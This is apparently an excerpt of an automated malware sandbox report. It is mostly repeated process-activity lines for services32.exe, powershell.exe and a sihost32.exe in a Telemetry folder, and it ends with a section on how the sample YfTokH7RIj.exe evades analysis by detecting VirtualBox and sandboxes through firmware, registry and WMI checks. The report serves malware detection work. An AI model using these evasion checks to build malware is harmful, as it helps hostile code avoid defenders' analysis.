Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe System information queried: FirmwareTableInformation Jump to behavior
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
